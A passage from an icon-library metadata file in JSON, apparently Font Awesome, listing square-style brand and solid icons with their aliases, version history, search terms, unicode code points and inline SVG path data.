534-10.219,8.16-16.495-1.66-4.316-5.686-5.976-9.961-5.976a18.5,18.5,0,0,0-3.993.448c-8.035,1.743-15.838,5.769-20.354,6.857a7.1,7.1,0,0,1-1.66.224c-2.408,0-3.279-1.071-3.088-3.968.564-8.783,1.759-25.925.373-41.937-1.884-22.032-8.99-32.948-17.432-42.6-4.051-4.624-23.135-24.654-59.536-24.654S168.53,134.359,164.479,139c-8.434,9.654-15.531,20.57-17.432,42.6-1.386,16.013-.141,33.147.373,41.937.166,2.756-.68,3.968-3.088,3.968a7.1,7.1,0,0,1-1.66-.224c-4.507-1.087-12.31-5.113-20.346-6.856a18.494,18.494,0,0,0-3.993-.449c-4.25,0-8.3,1.636-9.961,5.977-2.374,6.276.847,11.381,8.168,16.494,4.425,3.088,20.371,12.958,23.966,16.279,3.719,3.437,3.237,6.093,2.805,9.471-.356,2.79-8.384,40.394-58.689,64.749-2.946,1.428-7.96,4.45.88,9.331,13.88,7.628,23.111,6.807,30.3,11.43,6.093,3.927,2.5,12.394,6.923,15.449,5.454,3.76,21.583-.266,42.335,6.6,17.433,5.744,28.116,22.015,58.963,22.015s41.788-16.3,58.938-21.973c20.795-6.865,36.89-2.839,42.336-6.6,4.433-3.055.822-11.522,6.923-15.448,7.181-4.624,16.411-3.8,30.3-11.472C371.36,337.355,366.346,334.333,363.374,332.848Z"
      }
    },
    "free": ["brands"]
  },
  "square-steam": {
    "aliases": {
      "names": ["steam-square"]
    },
    "changes": ["4.1.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1b7",
    "label": "Steam Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z"
      }
    },
    "free": ["brands"]
  },
  "square-threads": {
    "changes": ["6.4.1", "6.4.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e619",
    "label": "Square Threads",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM294.2 244.3c19.5 9.3 33.7 23.5 41.2 40.9c10.4 24.3 11.4 63.9-20.2 95.4c-24.2 24.1-53.5 35-95.1 35.3h-.2c-46.8-.3-82.8-16.1-106.9-46.8C91.5 341.8 80.4 303.7 80 256v-.1-.1c.4-47.7 11.5-85.7 33-113.1c24.2-30.7 60.2-46.5 106.9-46.8h.2c46.9 .3 83.3 16 108.2 46.6c12.3 15.1 21.3 33.3 27 54.4l-26.9 7.2c-4.7-17.2-11.9-31.9-21.4-43.6c-19.4-23.9-48.7-36.1-87-36.4c-38 .3-66.8 12.5-85.5 36.2c-17.5 22.3-26.6 54.4-26.9 95.5c.3 41.1 9.4 73.3 26.9 95.5c18.7 23.8 47.4 36 85.5 36.2c34.3-.3 56.9-8.4 75.8-27.3c21.5-21.5 21.1-47.9 14.2-64c-4-9.4-11.4-17.3-21.3-23.3c-2.4 18-7.9 32.2-16.5 43.2c-11.4 14.5-27.7 22.4-48.4 23.5c-15.7 .9-30.8-2.9-42.6-10.7c-13.9-9.2-22-23.2-22.9-39.5c-1.7-32.2 23.8-55.3 63.5-57.6c14.1-.8 27.3-.2 39.5 1.9c-1.6-9.9-4.9-17.7-9.8-23.4c-6.7-7.8-17.1-11.8-30.8-11.9h-.4c-11 0-26 3.1-35.6 17.6l-23-15.8c12.8-19.4 33.6-30.1 58.5-30.1h.6c41.8 .3 66.6 26.3 69.1 71.8c1.4 .6 2.8 1.2 4.2 1.9l.1 .5zm-71.8 67.5c17-.9 36.4-7.6 39.7-48.8c-8.8-1.9-18.6-2.9-29-2.9c-3.2 0-6.4 .1-9.6 .3c-28.6 1.6-38.1 15.5-37.4 27.9c.9 16.7 19 24.5 36.4 23.6l-.1-.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM294.2 244.3c19.5 9.3 33.7 23.5 41.2 40.9c10.4 24.3 11.4 63.9-20.2 95.4c-24.2 24.1-53.5 35-95.1 35.3h-.2c-46.8-.3-82.8-16.1-106.9-46.8C91.5 341.8 80.4 303.7 80 256v-.1-.1c.4-47.7 11.5-85.7 33-113.1c24.2-30.7 60.2-46.5 106.9-46.8h.2c46.9 .3 83.3 16 108.2 46.6c12.3 15.1 21.3 33.3 27 54.4l-26.9 7.2c-4.7-17.2-11.9-31.9-21.4-43.6c-19.4-23.9-48.7-36.1-87-36.4c-38 .3-66.8 12.5-85.5 36.2c-17.5 22.3-26.6 54.4-26.9 95.5c.3 41.1 9.4 73.3 26.9 95.5c18.7 23.8 47.4 36 85.5 36.2c34.3-.3 56.9-8.4 75.8-27.3c21.5-21.5 21.1-47.9 14.2-64c-4-9.4-11.4-17.3-21.3-23.3c-2.4 18-7.9 32.2-16.5 43.2c-11.4 14.5-27.7 22.4-48.4 23.5c-15.7 .9-30.8-2.9-42.6-10.7c-13.9-9.2-22-23.2-22.9-39.5c-1.7-32.2 23.8-55.3 63.5-57.6c14.1-.8 27.3-.2 39.5 1.9c-1.6-9.9-4.9-17.7-9.8-23.4c-6.7-7.8-17.1-11.8-30.8-11.9h-.4c-11 0-26 3.1-35.6 17.6l-23-15.8c12.8-19.4 33.6-30.1 58.5-30.1h.6c41.8 .3 66.6 26.3 69.1 71.8c1.4 .6 2.8 1.2 4.2 1.9l.1 .5zm-71.8 67.5c17-.9 36.4-7.6 39.7-48.8c-8.8-1.9-18.6-2.9-29-2.9c-3.2 0-6.4 .1-9.6 .3c-28.6 1.6-38.1 15.5-37.4 27.9c.9 16.7 19 24.5 36.4 23.6l-.1-.1z"
      }
    },
    "free": ["brands"]
  },
  "square-tumblr": {
    "aliases": {
      "names": ["tumblr-square"]
    },
    "changes": ["3.2.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f174",
    "label": "Tumblr Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z"
      }
    },
    "free": ["brands"]
  },
  "square-twitter": {
    "aliases": {
      "names": ["twitter-square"]
    },
    "changes": ["1.0.0", "5.0.0", "6.1.2", "6.4.2"],
    "ligatures": [],
    "search": {
      "terms": ["social network", "tweet"]
    },
    "styles": ["brands"],
    "unicode": "f081",
    "label": "Square Twitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM351.3 199.3v0c0 86.7-66 186.6-186.6 186.6c-37.2 0-71.7-10.8-100.7-29.4c5.3 .6 10.4 .8 15.8 .8c30.7 0 58.9-10.4 81.4-28c-28.8-.6-53-19.5-61.3-45.5c10.1 1.5 19.2 1.5 29.6-1.2c-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3c-9-6-16.4-14.1-21.5-23.6s-7.8-20.2-7.7-31c0-12.2 3.2-23.4 8.9-33.1c32.3 39.8 80.8 65.8 135.2 68.6c-9.3-44.5 24-80.6 64-80.6c18.9 0 35.9 7.9 47.9 20.7c14.8-2.8 29-8.3 41.6-15.8c-4.9 15.2-15.2 28-28.8 36.1c13.2-1.4 26-5.1 37.8-10.2c-8.9 13.1-20.1 24.7-32.9 34c.2 2.8 .2 5.7 .2 8.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM351.3 199.3v0c0 86.7-66 186.6-186.6 186.6c-37.2 0-71.7-10.8-100.7-29.4c5.3 .6 10.4 .8 15.8 .8c30.7 0 58.9-10.4 81.4-28c-28.8-.6-53-19.5-61.3-45.5c10.1 1.5 19.2 1.5 29.6-1.2c-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3c-9-6-16.4-14.1-21.5-23.6s-7.8-20.2-7.7-31c0-12.2 3.2-23.4 8.9-33.1c32.3 39.8 80.8 65.8 135.2 68.6c-9.3-44.5 24-80.6 64-80.6c18.9 0 35.9 7.9 47.9 20.7c14.8-2.8 29-8.3 41.6-15.8c-4.9 15.2-15.2 28-28.8 36.1c13.2-1.4 26-5.1 37.8-10.2c-8.9 13.1-20.1 24.7-32.9 34c.2 2.8 .2 5.7 .2 8.5z"
      }
    },
    "free": ["brands"]
  },
  "square-up-right": {
    "aliases": {
      "names": ["external-link-square-alt"],
      "unicodes": {
        "composite": ["2197"],
        "secondary": ["10f360"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "diagonal",
        "direction",
        "external-link-square",
        "intercardinal",
        "new",
        "northeast",
        "open",
        "share",
        "up-right arrow"
      ]
    },
    "styles": ["solid"],
    "unicode": "f360",
    "label": "Square Up Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM320 313.4V176c0-8.8-7.2-16-16-16H166.6c-12.5 0-22.6 10.1-22.6 22.6c0 6 2.4 11.8 6.6 16L184 232l-66.3 66.3C114 302 112 306.9 112 312s2 10 5.7 13.7l36.7 36.7c3.6 3.6 8.5 5.7 13.7 5.7s10-2 13.7-5.7L248 296l33.4 33.4c4.2 4.2 10 6.6 16 6.6c12.5 0 22.6-10.1 22.6-22.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM320 313.4V176c0-8.8-7.2-16-16-16H166.6c-12.5 0-22.6 10.1-22.6 22.6c0 6 2.4 11.8 6.6 16L184 232l-66.3 66.3C114 302 112 306.9 112 312s2 10 5.7 13.7l36.7 36.7c3.6 3.6 8.5 5.7 13.7 5.7s10-2 13.7-5.7L248 296l33.4 33.4c4.2 4.2 10 6.6 16 6.6c12.5 0 22.6-10.1 22.6-22.6z"
      }
    },
    "free": ["solid"]
  },
  "square-viadeo": {
    "aliases": {
      "names": ["viadeo-square"]
    },
    "changes": ["4.6.0", "5.0.0", "5.7.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2aa",
    "label": "Viadeo Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z"
      }
    },
    "free": ["brands"]
  },
  "square-vimeo": {
    "aliases": {
      "names": ["vimeo-square"]
    },
    "changes": ["4.0.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f194",
    "label": "Vimeo Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z"
      }
    },
    "free": ["brands"]
  },
  "square-virus": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "coronavirus",
        "covid-19",
        "disease",
        "flu",
        "infection",
        "pandemic"
      ]
    },
    "styles": ["solid"],
    "unicode": "e578",
    "label": "Square Virus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM223.8 93.7c13.3 0 24 10.7 24 24c0 29.3 35.4 43.9 56.1 23.2c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9c-20.7 20.7-6 56.1 23.2 56.1c13.3 0 24 10.7 24 24s-10.7 24-24 24c-29.3 0-43.9 35.4-23.2 56.1c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0c-20.7-20.7-56.1-6-56.1 23.2c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-29.3-35.4-43.9-56.1-23.2c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9c20.7-20.7 6-56.1-23.2-56.1c-13.3 0-24-10.7-24-24s10.7-24 24-24c29.3 0 43.9-35.4 23.2-56.1c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0c20.7 20.7 56.1 6 56.1-23.2c0-13.3 10.7-24 24-24zM192 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm88 32a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM223.8 93.7c13.3 0 24 10.7 24 24c0 29.3 35.4 43.9 56.1 23.2c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9c-20.7 20.7-6 56.1 23.2 56.1c13.3 0 24 10.7 24 24s-10.7 24-24 24c-29.3 0-43.9 35.4-23.2 56.1c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0c-20.7-20.7-56.1-6-56.1 23.2c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-29.3-35.4-43.9-56.1-23.2c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9c20.7-20.7 6-56.1-23.2-56.1c-13.3 0-24-10.7-24-24s10.7-24 24-24c29.3 0 43.9-35.4 23.2-56.1c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0c20.7 20.7 56.1 6 56.1-23.2c0-13.3 10.7-24 24-24zM192 256a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm88 32a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "square-whatsapp": {
    "aliases": {
      "names": ["whatsapp-square"]
    },
    "changes": ["5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f40c",
    "label": "What's App Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z"
      }
    },
    "free": ["brands"]
  },
  "square-x-twitter": {
    "changes": ["6.4.2"],
    "ligatures": [],
    "search": {
      "terms": [" elon", " x", "twitter"]
    },
    "styles": ["brands"],
    "unicode": "e61a",
    "label": "Square X Twitter",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1690904784,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm297.1 84L257.3 234.6 379.4 396H283.8L209 298.1 123.3 396H75.8l111-126.9L69.7 116h98l67.7 89.5L313.6 116h47.5zM323.3 367.6L153.4 142.9H125.1L296.9 367.6h26.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm297.1 84L257.3 234.6 379.4 396H283.8L209 298.1 123.3 396H75.8l111-126.9L69.7 116h98l67.7 89.5L313.6 116h47.5zM323.3 367.6L153.4 142.9H125.1L296.9 367.6h26.3z"
      }
    },
    "free": ["brands"]
  },
  "square-xing": {
    "aliases": {
      "names": ["xing-square"]
    },
    "changes": ["3.2.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f169",
    "label": "Xing Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014469,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z\"/></svg>",
